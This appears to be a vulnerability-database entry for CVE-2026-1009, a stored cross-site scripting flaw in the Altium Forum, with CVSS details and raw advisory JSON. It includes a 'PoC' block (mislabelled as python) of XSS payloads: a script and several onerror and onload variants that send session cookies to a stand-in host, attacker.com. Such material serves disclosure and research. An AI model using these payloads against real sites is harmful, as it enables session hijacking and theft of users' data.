Security Vulnerability Report
中文
CVE-2026-1009 CVSS 9.0 CRITICAL

CVE-2026-1009

Published: 2026-01-15 23:15:51
Last Modified: 2026-01-23 19:32:23
Source: 4760f414-e1ae-4ff1-bdad-c7a9c3538b79

Description

A stored cross-site scripting (XSS) vulnerability exists in the Altium Forum due to missing server-side input sanitization in forum post content. An authenticated attacker can inject arbitrary JavaScript into forum posts, which is stored and executed when other users view the affected post. Successful exploitation allows the attacker’s payload to execute in the context of the victim’s authenticated Altium 365 session, enabling unauthorized access to workspace data, including design files and workspace settings. Exploitation requires user interaction to view a malicious forum post.

CVSS Details

CVSS Score
9.0
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:altium:altium_live:1.2.2:*:*:*:*:*:*:* - VULNERABLE
Altium Forum < 修复版本
Altium 365 受影响版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2026-1009 Stored XSS PoC for Altium Forum --> <!-- This PoC demonstrates how an attacker can inject malicious JavaScript --> <!-- through forum post content to steal session cookies --> <!DOCTYPE html> <html> <head> <title>CVE-2026-1009 PoC</title> </head> <body> <h1>Altium Forum Stored XSS PoC</h1> <!-- Malicious payload to be injected in forum post --> <div id="payload" style="display:none;"> <!-- Basic XSS payload that steals cookies --> <script> // Steal session cookies and send to attacker server var stolenData = { cookies: document.cookie, origin: window.location.origin, userAgent: navigator.userAgent, timestamp: new Date().toISOString() }; // Send stolen data to attacker-controlled endpoint fetch('https://attacker.com/steal', { method: 'POST', mode: 'no-cors', body: JSON.stringify(stolenData) }); </script> <!-- Alternative payload using img onerror --> <!-- <img src=x onerror="fetch('https://attacker.com/log?c='+document.cookie)"> --> </div> <p>Forum Post Content:</p> <textarea id="forumInput" rows="10" cols="50"> <!-- Example of malicious forum post content --> <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> <!-- Alternative vectors --> <img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)> <svg/onload=fetch('https://attacker.com/steal?c='+document.cookie)> <body onload=fetch('https://attacker.com/steal?c='+document.cookie)> </textarea> <button onclick="showPayload()">Generate Payload</button> <pre id="output"></pre> <script> function showPayload() { document.getElementById('output').textContent = document.getElementById('forumInput').value; } </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-1009", "sourceIdentifier": "4760f414-e1ae-4ff1-bdad-c7a9c3538b79", "published": "2026-01-15T23:15:51.153", "lastModified": "2026-01-23T19:32:23.350", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stored cross-site scripting (XSS) vulnerability exists in the Altium Forum due to missing server-side input sanitization in forum post content. An authenticated attacker can inject arbitrary JavaScript into forum posts, which is stored and executed when other users view the affected post.\nSuccessful exploitation allows the attacker’s payload to execute in the context of the victim’s authenticated Altium 365 session, enabling unauthorized access to workspace data, including design files and workspace settings. Exploitation requires user interaction to view a malicious forum post."}, {"lang": "es", "value": "Una vulnerabilidad de cross-site scripting (XSS) almacenado existe en el Foro de Altium debido a la falta de sanitización de entrada del lado del servidor en el contenido de las publicaciones del foro. Un atacante autenticado puede inyectar JavaScript arbitrario en las publicaciones del foro, el cual se almacena y ejecuta cuando otros usuarios ven la publicación afectada.\nLa explotación exitosa permite que la carga útil del atacante se ejecute en el contexto de la sesión autenticada de Altium 365 de la víctima, lo que permite el acceso no autorizado a los datos del espacio de trabajo, incluyendo archivos de diseño y configuraciones del espacio de trabajo. La explotación requiere interacción del usuario para ver una publicación de foro maliciosa."}], "metrics": {"cvssMetricV31": [{"source": "4760f414-e1ae-4ff1-bdad-c7a9c3538b79", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "4760f414-e1ae-4ff1-bdad-c7a9c3538b79", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-284"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:altium:altium_live:1.2.2:*:*:*:*:*:*:*", "matchCriteriaId": "E75C3257-AC40-4BC5-BEBA-492D4DECCFC1"}]}]}], "references": [{"url": "https://www.altium.com/platform/security-compliance/security-advisories", "source": "4760f414-e1ae-4ff1-bdad-c7a9c3538b79", "tags": ["Vendor Advisory"]}]}}